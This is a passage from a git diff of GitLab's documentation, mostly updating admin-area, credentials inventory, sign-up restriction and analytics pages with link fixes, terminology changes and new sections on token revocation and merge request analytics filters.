+been active since this month. One month later, in April 2020, two users are +still active. Five months later (August), we can see that one user from this cohort +is active, or 33% of the original cohort of three that joined in March. The Inactive users column shows the number of users who have been added during the month, but who have never actually had any activity in the instance. diff --git a/doc/user/admin_area/blocking_unblocking_users.md b/doc/user/admin_area/blocking_unblocking_users.md index 2f98709a089..d8dde317d38 100644 --- a/doc/user/admin_area/blocking_unblocking_users.md +++ b/doc/user/admin_area/blocking_unblocking_users.md @@ -33,7 +33,7 @@ Personal projects, and group and user history of the blocked user will be left i Users can also be blocked using the [GitLab API](../../api/users.md#block-user). NOTE: **Note:** -A blocked user does not consume a [seat](../../subscriptions/index.md#choosing-the-number-of-users). +A blocked user does not consume a [seat](../../subscriptions/self_managed/index.md#choose-the-number-of-users). ## Unblocking a user @@ -48,4 +48,4 @@ Users can also be unblocked using the [GitLab API](../../api/users.md#unblock-us NOTE: **Note:** Unblocking a user will change the user's state to active and it consumes a -[seat](../../subscriptions/index.md#choosing-the-number-of-users). +[seat](../../subscriptions/self_managed/index.md#choose-the-number-of-users). diff --git a/doc/user/admin_area/credentials_inventory.md b/doc/user/admin_area/credentials_inventory.md index 9259c93cfa3..7f2d49dafea 100644 --- a/doc/user/admin_area/credentials_inventory.md +++ b/doc/user/admin_area/credentials_inventory.md @@ -13,7 +13,7 @@ type: howto GitLab administrators are responsible for the overall security of their instance. To assist, GitLab provides a Credentials inventory to keep track of all the credentials that can be used to access their self-managed instance. -Using Credentials inventory, GitLab administrators can see all the personal access tokens and SSH keys that exist in their instance and: +Using Credentials inventory, you can see all the personal access tokens (PAT) and SSH keys that exist in your GitLab instance. In addition, you can [revoke them](#revoke-a-users-personal-access-token) and see: - Who they belong to. - Their access scope. @@ -25,4 +25,19 @@ To access the Credentials inventory, navigate to **Admin Area > Credentials**. The following is an example of the Credentials inventory page: - + + +## Revoke a user's personal access token + +[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214811) in GitLab 13.4. + +If you see a **Revoke** button, you can revoke that user's PAT. Whether you see a **Revoke** button depends on the token state, and if an expiration date has been set. For more information, see the following table: + +| Token state | [Token expiry enforced?](settings/account_and_limit_settings.md#optional-enforcement-of-personal-access-token-expiry) | Show Revoke button? | Comments | +|-------------|------------------------|--------------------|----------------------------------------------------------------------------| +| Active | Yes | Yes | Allows administrators to revoke the PAT, such as for a compromised account | +| Active | No | Yes | Allows administrators to revoke the PAT, such as for a compromised account | +| Expired | Yes | No | PAT expires automatically | +| Expired | No | Yes | The administrator may revoke the PAT to prevent indefinite use | +| Revoked | Yes | No | Not applicable; token is already revoked | +| Revoked | No | No | Not applicable; token is already revoked | diff --git a/doc/user/admin_area/geo_nodes.md b/doc/user/admin_area/geo_nodes.md index d17e0f7430c..28738ed52f3 100644 --- a/doc/user/admin_area/geo_nodes.md +++ b/doc/user/admin_area/geo_nodes.md @@ -8,7 +8,7 @@ type: howto # Geo nodes Admin Area **(PREMIUM ONLY)** You can configure various settings for GitLab Geo nodes. For more information, see -[Geo documentation](../../administration/geo/replication/index.md). +[Geo documentation](../../administration/geo/index.md). On the primary node, go to **Admin Area > Geo**. On secondary nodes, go to **Admin Area > Geo > Nodes**. diff --git a/doc/user/admin_area/img/credentials_inventory_v13_2.png b/doc/user/admin_area/img/credentials_inventory_v13_2.png Binary files differdeleted file mode 100644 index 5b56422a0a3..00000000000 --- a/doc/user/admin_area/img/credentials_inventory_v13_2.png +++ /dev/null diff --git a/doc/user/admin_area/img/credentials_inventory_v13_4.png b/doc/user/admin_area/img/credentials_inventory_v13_4.png Binary files differnew file mode 100644 index 00000000000..06925ea2f6f --- /dev/null +++ b/doc/user/admin_area/img/credentials_inventory_v13_4.png diff --git a/doc/user/admin_area/index.md b/doc/user/admin_area/index.md index 8aa50bb0496..58430ab615b 100644 --- a/doc/user/admin_area/index.md +++ b/doc/user/admin_area/index.md @@ -20,8 +20,8 @@ The Admin Area is made up of the following sections: | Section | Description | |:-----------------------------------------------|:-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| **{overview}** [Overview](#overview-section) | View your GitLab [Dashboard](#admin-dashboard), and administer [projects](#administering-projects), [users](#administering-users), [groups](#administering-groups), [jobs](#administering-jobs), [Runners](#administering-runners), and [Gitaly servers](#administering-gitaly-servers). | -| **{monitor}** Monitoring | View GitLab [system information](#system-info), and information on [background jobs](#background-jobs), [logs](#logs), [health checks](monitoring/health_check.md), [requests profiles](#requests-profiles), and [audit logs](#audit-log-premium-only). | +| **{overview}** [Overview](#overview-section) | View your GitLab [Dashboard](#admin-dashboard), and administer [projects](#administering-projects), [users](#administering-users), [groups](#administering-groups), [jobs](#administering-jobs), [runners](#administering-runners), and [Gitaly servers](#administering-gitaly-servers). | +| **{monitor}** Monitoring | View GitLab [system information](#system-info), and information on [background jobs](#background-jobs), [logs](#logs), [health checks](monitoring/health_check.md), [requests profiles](#requests-profiles), and [audit logs](#audit-log). | | **{messages}** Messages | Send and manage [broadcast messages](broadcast_messages.md) for your users. | | **{hook}** System Hooks | Configure [system hooks](../../system_hooks/system_hooks.md) for many events. | | **{applications}** Applications | Create system [OAuth applications](../../integration/oauth_provider.md) for integrations with other services. | @@ -147,7 +147,7 @@ The following totals are also included: GitLab billing is based on the number of **Active users**, calculated as **Total users** - **Blocked users**. For details of active users, see -[Choosing the number of users](../../subscriptions/index.md#choosing-the-number-of-users). +[Choosing the number of users](../../subscriptions/self_managed/index.md#choose-the-number-of-users). NOTE: **Note:** Users statistics are calculated daily, so user changes made since the last update won't be @@ -196,51 +196,51 @@ For each job, the following details are listed: | Timing | Duration of the job, and how long ago the job completed. | | Coverage | Percentage of tests coverage. | -### Administering Runners +### Administering runners -You can administer all Runners in the GitLab instance from the Admin Area's **Runners** page. See -[GitLab Runner](https://docs.gitlab.com/runner/) for more information on Runner itself. +You can administer all runners in the GitLab instance from the Admin Area's **Runners** page. See +[GitLab Runner](https://docs.gitlab.com/runner/) for more information. To access the **Runners** page, go to **Admin Area > Overview > Runners**. The **Runners** page features: -- A description of Runners, and their possible states. -- Instructions on installing a Runner. -- A list of all registered Runners. +- A description of runners and their possible states. +- Instructions on installing a runner. +- A list of all registered runners. Runners are listed in descending order by the date they were created, by default. You can change the sort order to *Last Contacted* from the dropdown beside the search field. -To search Runners' descriptions: +To search runners' descriptions: -1. In the **Search or filter results...** field, type the description of the Runner you want to +1. In the **Search or filter results...** field, type the description of the runner you want to find. 1. Press Enter. -You can also filter Runners by status, type, and tag. To filter: +You can also filter runners by status, type, and tag. To filter: 1. Click in the **Search or filter results...** field. 1. Select **status:**, **type:**, or **tag:**. 1. Select or enter your search criteria. - + -For each Runner, the following attributes are listed: +For each runner, the following attributes are listed: | Attribute | Description | | ------------ | ----------- | | Type | One or more of the following states: shared, group, specific, locked, or paused | -| Runner token | Token used to identify the Runner, and which the Runner uses to communicate with the GitLab instance | -| Description | Description given to the Runner when it was created | +| Runner token | Token used to identify the runner, and which the runner uses to communicate with the GitLab instance | +| Description | Description given to the runner when it was created | | Version | GitLab Runner version | -| IP address | IP address of the host on which the Runner is registered | -| Projects | Projects to which the Runner is assigned | -| Jobs | Total of jobs run by the Runner | -| Tags | Tags associated with the Runner | -| Last contact | Timestamp indicating when the GitLab instance last contacted the Runner | +| IP address | IP address of the host on which the runner is registered | +| Projects | Projects to which the runner is assigned | +| Jobs | Total of jobs run by the runner | +| Tags | Tags associated with the runner | +| Last contact | Timestamp indicating when the GitLab instance last contacted the runner | -You can also edit, pause, or remove each Runner. +You can also edit, pause, or remove each runner. ### Administering Gitaly servers diff --git a/doc/user/admin_area/license.md b/doc/user/admin_area/license.md index 2c849db66b1..ecbc615f56a 100644 --- a/doc/user/admin_area/license.md +++ b/doc/user/admin_area/license.md @@ -125,7 +125,7 @@ before uploading your license. GitLab.com users cannot upload and use a self-managed license. If you wish to use paid features on GitLab.com, a separate subscription may be -[purchased](../../subscriptions/index.md#subscribe-to-gitlabcom). +[purchased](../../subscriptions/gitlab_com/index.md). ### Users exceed license limit upon renewal diff --git a/doc/user/admin_area/monitoring/convdev.md b/doc/user/admin_area/monitoring/convdev.md index 2ba28d4bc1c..d9c3950f2e4 100644 --- a/doc/user/admin_area/monitoring/convdev.md +++ b/doc/user/admin_area/monitoring/convdev.md @@ -1,5 +1,5 @@ --- -redirect_to: '../../instance_statistics/dev_ops_score.md' +redirect_to: '../analytics/dev_ops_report.md' --- -Conversational Development Index was renamed to [DevOps Score](../../instance_statistics/dev_ops_score.md) in GitLab 12.6. +Conversational Development Index was renamed to [DevOps Report](../analytics/dev_ops_report.md) in GitLab 12.6. diff --git a/doc/user/admin_area/monitoring/dev_ops_report.md b/doc/user/admin_area/monitoring/dev_ops_report.md new file mode 100644 index 00000000000..9ad9830ed59 --- /dev/null +++ b/doc/user/admin_area/monitoring/dev_ops_report.md @@ -0,0 +1,5 @@ +--- +redirect_to: '../analytics/dev_ops_report.md' +--- + +This document was moved to [another location](../analytics/dev_ops_report.md). diff --git a/doc/user/admin_area/monitoring/dev_ops_score.md b/doc/user/admin_area/monitoring/dev_ops_score.md deleted file mode 100644 index f8b66531f2f..00000000000 --- a/doc/user/admin_area/monitoring/dev_ops_score.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: '../../instance_statistics/dev_ops_score.md' ---- - -This document was moved to [another location](../../instance_statistics/dev_ops_score.md). diff --git a/doc/user/admin_area/monitoring/health_check.md b/doc/user/admin_area/monitoring/health_check.md index 329b6ff5bb0..2a38ccb31f0 100644 --- a/doc/user/admin_area/monitoring/health_check.md +++ b/doc/user/admin_area/monitoring/health_check.md @@ -153,7 +153,7 @@ https://gitlab.example.com/-/readiness?token=ACCESS_TOKEN ``` NOTE: **Note:** -In case the database or Redis service are unaccessible, the probe endpoints response is not guaranteed to be correct. +In case the database or Redis service are inaccessible, the probe endpoints response is not guaranteed to be correct. You should switch to [IP whitelist](#ip-whitelist) from deprecated access token to avoid it. <!-- ## Troubleshooting diff --git a/doc/user/admin_area/settings/account_and_limit_settings.md b/doc/user/admin_area/settings/account_and_limit_settings.md index 4651a548ff9..957f84206e9 100644 --- a/doc/user/admin_area/settings/account_and_limit_settings.md +++ b/doc/user/admin_area/settings/account_and_limit_settings.md @@ -81,7 +81,7 @@ The repository size limit includes repository files and LFS, and does not includ For details on manually purging files, see [reducing the repository size using Git](../../project/repository/reducing_the_repo_size_using_git.md). NOTE: **Note:** -GitLab.com repository size [is set by GitLab](../../gitlab_com/index.md#repository-size-limit). +GitLab.com repository size [is set by GitLab](../../gitlab_com/index.md#account-and-limit-settings). ## Troubleshooting @@ -137,7 +137,7 @@ Once a lifetime for personal access tokens is set, GitLab will: > - It is deployed behind a feature flag, disabled by default. > - It is disabled on GitLab.com. > - It is not recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-optional-enforcement-of-personal-access-token-expiry-feature-core-only). **(CORE ONLY)** +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-optional-enforcement-of-personal-access-token-expiry-feature). **(CORE ONLY)** GitLab administrators can choose to prevent personal access tokens from expiring automatically. The tokens will be usable after the expiry date, unless they are revoked explicitly. diff --git a/doc/user/admin_area/settings/continuous_integration.md b/doc/user/admin_area/settings/continuous_integration.md index 0479da7fb52..b4867d33644 100644 --- a/doc/user/admin_area/settings/continuous_integration.md +++ b/doc/user/admin_area/settings/continuous_integration.md @@ -7,7 +7,7 @@ type: reference # Continuous Integration and Deployment Admin settings **(CORE ONLY)** -In this area, you will find settings for Auto DevOps, Runners, and job artifacts. +In this area, you will find settings for Auto DevOps, runners, and job artifacts. You can find it in the **Admin Area > Settings > CI/CD**.  @@ -86,13 +86,13 @@ be updated for artifacts created before this setting was changed. The administrator may need to manually search for and expire previously-created artifacts, as described in the [troubleshooting documentation](../../../administration/troubleshooting/gitlab_rails_cheat_sheet.md#remove-artifacts-more-than-a-week-old). -## Shared Runners pipeline minutes quota **(STARTER ONLY)** +## Shared runners pipeline minutes quota **(STARTER ONLY)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1078) in GitLab Starter 8.16. -If you have enabled shared Runners for your GitLab instance, you can limit their +If you have enabled shared runners for your GitLab instance, you can limit their usage by setting a maximum number of pipeline minutes that a group can use on -shared Runners per month. Setting this to `0` (default value) will grant +shared runners per month. Setting this to `0` (default value) will grant unlimited pipeline minutes. While build limits are stored as minutes, the counting is done in seconds. Usage resets on the first day of each month. On GitLab.com, the quota is calculated based on your @@ -116,7 +116,7 @@ also change each group's pipeline minutes quota to override the global value. 1. Click **Save changes** for the changes to take effect. Once saved, you can see the build quota in the group admin view. -The quota can also be viewed in the project admin view if shared Runners +The quota can also be viewed in the project admin view if shared runners are enabled.  @@ -196,7 +196,9 @@ To set required pipeline configuration:  -## Package Registry configuration **(PREMIUM ONLY)** +## Package Registry configuration + +### NPM Forwarding **(PREMIUM ONLY)** GitLab administrators can disable the forwarding of NPM requests to [npmjs.com](https://www.npmjs.com/). @@ -208,3 +210,15 @@ To disable it: 1. Click **Save changes**.  + +### Package file size limits + +GitLab administrators can adjust the maximum allowed file size for each package type. + +To set the maximum file size: + +1. Go to **Admin Area > Settings > CI/CD**. +1. Expand the **Package Registry** section. +1. Find the package type you would like to adjust. +1. Enter the maximum file size, in bytes. +1. Click **Save size limits**. diff --git a/doc/user/admin_area/settings/external_authorization.md b/doc/user/admin_area/settings/external_authorization.md index c5c5f08aea1..0b250e07412 100644 --- a/doc/user/admin_area/settings/external_authorization.md +++ b/doc/user/admin_area/settings/external_authorization.md @@ -22,11 +22,11 @@ known response, the result is cached for 6 hours. If the external authorization is enabled, GitLab will further block pages and functionality that render cross-project data. That includes: -- most pages under Dashboard (Activity, Milestones, Snippets, Assigned merge - requests, Assigned issues, Todos) -- under a specific group (Activity, Contribution analytics, Issues, Issue boards, - Labels, Milestones, Merge requests) -- Global and Group search will be disabled +- Most pages under Dashboard (Activity, Milestones, Snippets, Assigned merge + requests, Assigned issues, To-Do List). +- Under a specific group (Activity, Contribution analytics, Issues, Issue boards, + Labels, Milestones, Merge requests). +- Global and Group search will be disabled. This is to prevent performing to many requests at once to the external authorization service. diff --git a/doc/user/admin_area/settings/img/domain_blacklist.png b/doc/user/admin_area/settings/img/domain_denylist.png Binary files differindex a7e972b7c0a..a7e972b7c0a 100644 --- a/doc/user/admin_area/settings/img/domain_blacklist.png +++ b/doc/user/admin_area/settings/img/domain_denylist.png diff --git a/doc/user/admin_area/settings/index.md b/doc/user/admin_area/settings/index.md index db6dbb7f38b..ba9bccbf3e7 100644 --- a/doc/user/admin_area/settings/index.md +++ b/doc/user/admin_area/settings/index.md @@ -42,7 +42,7 @@ Access the default page for admin area settings by navigating to **Admin Area > | Option | Description | | ------ | ----------- | -| [Repository's custom initial branch name](../../project/repository/branches/index.md#custom-initial-branch-name-core-only) | Set a custom branch name rather than master for all the new repositories created within your instance. | +| [Repository's custom initial branch name](../../project/repository/branches/index.md#custom-initial-branch-name) | Set a custom branch name rather than master for all the new repositories created within your instance. | | [Repository mirror](visibility_and_access_controls.md#allow-mirrors-to-be-set-up-for-projects) | Configure repository mirroring. | | [Repository storage](../../../administration/repository_storage_types.md) | Configure storage path settings. | | Repository maintenance | ([Repository checks](../../../administration/repository_checks.md) and [Housekeeping](../../../administration/housekeeping.md)). Configure automatic Git checks and housekeeping on repositories. | @@ -60,8 +60,8 @@ Access the default page for admin area settings by navigating to **Admin Area > | Option | Description | | ------ | ----------- | | [Continuous Integration and Deployment](continuous_integration.md) | Auto DevOps, runners and job artifacts. | -| [Required pipeline configuration](continuous_integration.md#required-pipeline-configuration-premium-only) **(PREMIUM ONLY)** | Set an instance-wide auto included [pipeline configuration](../../../ci/yaml/README.md). This pipeline configuration will be run after the project's own configuration. | -| [Package Registry](continuous_integration.md#package-registry-configuration-premium-only) | Settings related to the use and experience of using GitLab's Package Registry. Note there are [risks involved](./../../packages/container_registry/index.md#use-with-external-container-registries) in enabling some of these settings. | +| [Required pipeline configuration](continuous_integration.md#required-pipeline-configuration) **(PREMIUM ONLY)** | Set an instance-wide auto included [pipeline configuration](../../../ci/yaml/README.md). This pipeline configuration will be run after the project's own configuration. | +| [Package Registry](continuous_integration.md#package-registry-configuration) | Settings related to the use and experience of using GitLab's Package Registry. Note there are [risks involved](./../../packages/container_registry/index.md#use-with-external-container-registries) in enabling some of these settings. | ## Reporting @@ -106,7 +106,7 @@ Access the default page for admin area settings by navigating to **Admin Area > | [Pages](../../../administration/pages/index.md#custom-domain-verification) | Size and domain settings for static websites | | [Real-time features](../../../administration/polling.md) | Change this value to influence how frequently the GitLab UI polls for updates. | | [Gitaly timeouts](gitaly_timeouts.md) | Configure Gitaly timeouts. | -| Localization | [Default first day of the week](../../profile/preferences.md) and [Time tracking](../../project/time_tracking.md#limit-displayed-units-to-hours-core-only). | +| Localization | [Default first day of the week](../../profile/preferences.md) and [Time tracking](../../project/time_tracking.md#limit-displayed-units-to-hours). | NOTE: **Note:** You can change the [Default first day of the week](../../profile/preferences.md) for the entire GitLab instance diff --git a/doc/user/admin_area/settings/sign_up_restrictions.md b/doc/user/admin_area/settings/sign_up_restrictions.md index 8ef5ac8dc8f..80092102091 100644 --- a/doc/user/admin_area/settings/sign_up_restrictions.md +++ b/doc/user/admin_area/settings/sign_up_restrictions.md @@ -6,14 +6,12 @@ type: reference You can use sign-up restrictions to: -- Disable new signups. +- Disable new sign-ups. - Require user email confirmation. -- Blacklist or whitelist email addresses belonging to specific domains. +- Denylist or allowlist email addresses belonging to specific domains. NOTE: **Note:** -These restrictions are only applied during sign-up from an external user. An admin is -able to add a user through the admin panel with a disallowed domain. Also -note that the users can change their email addresses after signup to +These restrictions are only applied during sign-up from an external user. An admin can add a user through the admin panel with a disallowed domain. Also, note that the users can change their email addresses after sign-up to disallowed domains. ## Disable new signups @@ -26,12 +24,12 @@ You can restrict new users from signing up by themselves for an account in your ### Recommendations -For customers running public facing GitLab instances, we highly recommend that you -consider disabling new signups if you do not expect public users to sign up for an +For customers running public-facing GitLab instances, we highly recommend that you +consider disabling new sign-ups if you do not expect public users to sign up for an account. Alternatively, you could also consider setting up a -[whitelist](#whitelist-email-domains) or [blacklist](#blacklist-email-domains) on +[allowlist](#allowlist-email-domains) or [denylist](#denylist-email-domains) on email domains to prevent malicious users from creating accounts. ## Require email confirmation @@ -48,14 +46,14 @@ their email address before they are allowed to sign in. You can [change](../../../security/password_length_limits.md#modify-minimum-password-length-using-gitlab-ui) the minimum number of characters a user must have in their password using the GitLab UI. -## Whitelist email domains +## Allowlist email domains > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/598) in GitLab 7.11.0 -You can restrict users to only sign up using email addresses matching the given +You can restrict users only to sign up using email addresses matching the given domains list. -## Blacklist email domains +## Denylist email domains > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5259) in GitLab 8.10. @@ -71,17 +69,17 @@ To access this feature: 1. Navigate to the **Admin Area > Settings > General**. 1. Expand the **Sign-up restrictions** section. -For the blacklist, you can enter the list manually or upload a `.txt` file that +For the denylist, you can enter the list manually or upload a `.txt` file that contains list entries. -For the whitelist, you must enter the list manually. +For the allowlist, you must enter the list manually. -Both the whitelist and blacklist accept wildcards. For example, you can use +Both the allowlist and denylist accept wildcards. For example, you can use `*.company.com` to accept every `company.com` subdomain, or `*.io` to block all domains ending in `.io`. Domains should be separated by a whitespace, semicolon, comma, or a new line. - + <!-- ## Troubleshooting diff --git a/doc/user/admin_area/settings/usage_statistics.md b/doc/user/admin_area/settings/usage_statistics.md index f3eb094887e..55bbcfbe1d8 100644 --- a/doc/user/admin_area/settings/usage_statistics.md +++ b/doc/user/admin_area/settings/usage_statistics.md @@ -60,14 +60,11 @@ sequenceDiagram See [Usage Ping guide](../../../development/telemetry/usage_ping.md). -## Instance statistics visibility **(CORE ONLY)** +## Instance-level statistics **(CORE ONLY)** Once usage ping is enabled, GitLab will gather data from other instances and -will be able to show [usage statistics](../../instance_statistics/index.md) -of your instance to your users. - -To make this visible only to admins, go to **Admin Area > Settings > Metrics and profiling**, expand -**Usage statistics**, and set the **Instance Statistics visibility** option to **Only admins**. +will be able to show [usage statistics](../analytics/index.md) +of your instance to your admins in **Admin Area > Analytics**. <!-- ## Troubleshooting diff --git a/doc/user/admin_area/settings/visibility_and_access_controls.md b/doc/user/admin_area/settings/visibility_and_access_controls.md index e5c7947399d..95a87378e18 100644 --- a/doc/user/admin_area/settings/visibility_and_access_controls.md +++ b/doc/user/admin_area/settings/visibility_and_access_controls.md @@ -78,7 +78,7 @@ CAUTION: **Warning:** The default behavior of [Delayed Project deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/32935) in GitLab 12.6 was changed to [Immediate deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) in GitLab 13.2. -Projects within a group can be deleted after a delayed period, by [configuring in Group Settings](../../group/index.md#enabling-delayed-project-removal-premium). +Projects within a group can be deleted after a delayed period, by [configuring in Group Settings](../../group/index.md#enabling-delayed-project-removal). The default period is 7 days, and can be changed. Setting this period to 0 will enable immediate removal of projects or groups. @@ -92,7 +92,7 @@ To change this period: Alternatively, projects that are marked for removal can be deleted immediately. To do so: -1. [Restore the project](../../project/settings/#restore-a-project-premium). +1. [Restore the project](../../project/settings/#restore-a-project). 1. Delete the project as described in the [Administering Projects page](../../admin_area/#administering-projects). ## Default project visibility diff --git a/doc/user/admin_area/user_cohorts.md b/doc/user/admin_area/user_cohorts.md index 21e61e2ec44..ec0153ac3b6 100644 --- a/doc/user/admin_area/user_cohorts.md +++ b/doc/user/admin_area/user_cohorts.md @@ -1,5 +1,5 @@ --- -redirect_to: '../instance_statistics/user_cohorts.md' +redirect_to: 'analytics/user_cohorts.md' --- -This document was moved to [another location](../instance_statistics/user_cohorts.md). +This document was moved to [another location](analytics/user_cohorts.md). diff --git a/doc/user/analytics/code_review_analytics.md b/doc/user/analytics/code_review_analytics.md index 8c4c54153bb..89acb430a9f 100644 --- a/doc/user/analytics/code_review_analytics.md +++ b/doc/user/analytics/code_review_analytics.md @@ -10,40 +10,45 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/38062) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.7. -Code Review Analytics makes it easy to view the longest-running reviews among open merge requests, -enabling you to take action on individual merge requests and reduce overall cycle time. +Code Review Analytics makes it easy to view the longest-running reviews among open merge requests and +enables you to: + +1. Take action on individual merge requests. +1. Reduce overall cycle time. NOTE: **Note:** -Initially, no data will appear. Data is populated as users comment on open merge requests. +Initially, no data appears. Data is populated as users comment on open merge requests. ## Overview Code Review Analytics displays a table of open merge requests that have at least one non-author comment. The review time is measured from the time the first non-author comment was submitted. -The code review period for a merge request is automatically identified as the time since the first non-author comment. -To access Code Review Analytics, from your project's menu, go to **{chart}** **Project Analytics > Code Review**. +To access Code Review Analytics, from your project's menu, go to **Project Analytics > Code Review**. + +You can filter the list of merge requests by milestone and label.  -- The table is sorted by review duration, helping you quickly find the longest-running reviews which may need intervention or to be broken down into smaller parts. -- You can filter the list of MRs by milestone and label. -- Columns to display the author, approvers, comment count, and line change (-/+) counts. +The table is sorted by: + +- **Review time**: Helping you to quickly find the longest-running reviews which may need intervention + or to be broken down into smaller parts. +- Other columns: Display the author, approvers, comment count, and line change (-/+) counts. ## Use cases This feature is designed for [development team leaders](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#delaney-development-team-lead) -and others who want to understand broad code review dynamics, and identify patterns to help explain them. - -You can use Code Review Analytics to expose your team's unique challenges with code review, and -identify improvements that might substantially accelerate your development cycle. +and others who want to understand broad code review dynamics, and identify patterns to explain them. -Code Review Analytics can be used when: +You can use Code Review Analytics to: +- Expose your team's unique challenges with code review. +- Identify improvements that might substantially accelerate your development cycle. - Your team agrees that code review is moving too slow. - The [Value Stream Analytics feature](value_stream_analytics.md) shows that reviews are your team's most time-consuming step. +- Analyze the patterns and trends of different types of work that are moving slow. -You can use Code Review Analytics to see the types of work that are currently moving the slowest, and analyze the patterns -and trends between them. For example: +For example: - Lots of comments or commits? Maybe the code is too complex. - A particular author is involved? Maybe more training is required. diff --git a/doc/user/analytics/img/delete_value_stream_v13.4.png b/doc/user/analytics/img/delete_value_stream_v13.4.png Binary files differnew file mode 100644 index 00000000000..c97fcb76343 --- /dev/null +++ b/doc/user/analytics/img/delete_value_stream_v13.4.png diff --git a/doc/user/analytics/img/merge_request_analytics_v13_3.png b/doc/user/analytics/img/merge_request_analytics_v13_3.png Binary files differdeleted file mode 100644 index f90f3625a51..00000000000 --- a/doc/user/analytics/img/merge_request_analytics_v13_3.png +++ /dev/null diff --git a/doc/user/analytics/img/mr_throughput_chart_v13_3.png b/doc/user/analytics/img/mr_throughput_chart_v13_3.png Binary files differnew file mode 100644 index 00000000000..04fa54f323c --- /dev/null +++ b/doc/user/analytics/img/mr_throughput_chart_v13_3.png diff --git a/doc/user/analytics/img/mr_throughput_table_v13_3.png b/doc/user/analytics/img/mr_throughput_table_v13_3.png Binary files differnew file mode 100644 index 00000000000..63ffb9389f4 --- /dev/null +++ b/doc/user/analytics/img/mr_throughput_table_v13_3.png diff --git a/doc/user/analytics/index.md b/doc/user/analytics/index.md index 47852cb0498..044b9eb3e64 100644 --- a/doc/user/analytics/index.md +++ b/doc/user/analytics/index.md @@ -6,15 +6,15 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Analytics -## Analytics workspace +## Instance-level analytics > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12077) in GitLab 12.2. -The Analytics workspace will make it possible to aggregate analytics across +Instance-level analytics make it possible to aggregate analytics across GitLab, so that users can view information across multiple projects and groups in one place. -To access the Analytics workspace, click on **More > Analytics** in the top navigation bar. +[Learn more about instance-level analytics](../admin_area/analytics/index.md). ## Group-level analytics @@ -38,7 +38,8 @@ The following analytics features are available at the project level: - [Code Review](code_review_analytics.md). **(STARTER)** - [Insights](../group/insights/index.md). **(ULTIMATE)** - [Issue](../group/issues_analytics/index.md). **(PREMIUM)** -- [Merge Request](merge_request_analytics.md). **(STARTER)** +- [Merge Request](merge_request_analytics.md), enabled with the `project_merge_request_analytics` + [feature flag](../../development/feature_flags/development.md#enabling-a-feature-flag-locally-in-development). **(STARTER)** - [Repository](repository_analytics.md). - [Value Stream](value_stream_analytics.md), enabled with the `cycle_analytics` [feature flag](../../development/feature_flags/development.md#enabling-a-feature-flag-locally-in-development). **(STARTER)** diff --git a/doc/user/analytics/merge_request_analytics.md b/doc/user/analytics/merge_request_analytics.md index 01295ae888b..6a18d46fd1a 100644 --- a/doc/user/analytics/merge_request_analytics.md +++ b/doc/user/analytics/merge_request_analytics.md @@ -5,7 +5,6 @@ group: Analytics info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- - # Merge Request Analytics **(STARTER)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229045) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.3. @@ -14,16 +13,14 @@ Merge Request Analytics helps you understand the efficiency of your code review ## Overview -Merge Request Analytics displays information about all accepted merge requests. +Merge Request Analytics displays information that will help you evaluate the efficiency and productivity of your merge request process. -The Throughput chart shows the number of completed merge requests, by month. Merge request throughput is +The Throughput chart shows the number of merge requests merged, by month. Merge request throughput is a common measure of productivity in software engineering. Although imperfect, the average throughput can be a meaningful benchmark of your team's overall productivity. To access Merge Request Analytics, from your project's menu, go to **Analytics > Merge Request**. - - ## Use cases This feature is designed for [development team leaders](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#delaney-development-team-lead) @@ -37,6 +34,57 @@ Merge Request Analytics could be used when: - You want to know if you were more productive this month than last month, or 12 months ago. - You want to drill into low- or high-productivity months to understand the work that took place. +## Visualizations and data + +The following visualizations and data are available, representing all merge requests that were merged in the past 12 months. + +### Throughput chart + +The throughput chart shows the number of merge requests merged per month. + + + +### Throughput table + +Data table displaying a maximum of the 100 most recent merge requests merged for the time period. + + + +## Filter the data + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229266) in GitLab 13.4 + +You can filter the data that is presented on the page based on the following parameters: + +- Author +- Assignees +- Labels +- Milestones + +To filter results: + +1. Click on the filter bar. +1. Select a parameter to filter by. +1. Select a value from the autocompleted results, or enter search text to refine the results. + ## Permissions -- On [Starter or Bronze tier](https://about.gitlab.com/pricing/) and above. +The **Merge Request Analytics** feature can be accessed only: + +- On [Starter](https://about.gitlab.com/pricing/) and above. +- By users with [Reporter access](../permissions.md) and above. + +## Enable and disable related feature flags + +Merge Request Analytics is disabled by default but can be enabled using the following +[feature flag](../../development/feature_flags/development.md#enabling-a-feature-flag-locally-in-development): + +- `project_merge_request_analytics` + +A GitLab administrator can: + +- Enable this feature by running the following command in a Rails console: + + ```ruby + Feature.enable(:project_merge_request_analytics) + ``` diff --git a/doc/user/analytics/value_stream_analytics.md b/doc/user/analytics/value_stream_analytics.md index 9114b6de6bc..14012d4a28d 100644 --- a/doc/user/analytics/value_stream_analytics.md +++ b/doc/user/analytics/value_stream_analytics.md @@ -45,8 +45,6 @@ There are seven stages that are tracked as part of the Value Stream Analytics ca - Time spent on code review - **Staging** (Continuous Deployment) - Time between merging and deploying to production -- **Total** (Total) - - Total lifecycle time. That is, the velocity of the project or team. [Previously known](https://gitlab.com/gitlab-org/gitlab/-/issues/38317) as **Production**. ## Filter the analytics data @@ -95,7 +93,7 @@ Note: A commit is associated with an issue by [crosslinking](../project/issues/c ## How the stages are measured Value Stream Analytics records stage time and data based on the project issues with the -exception of the staging and 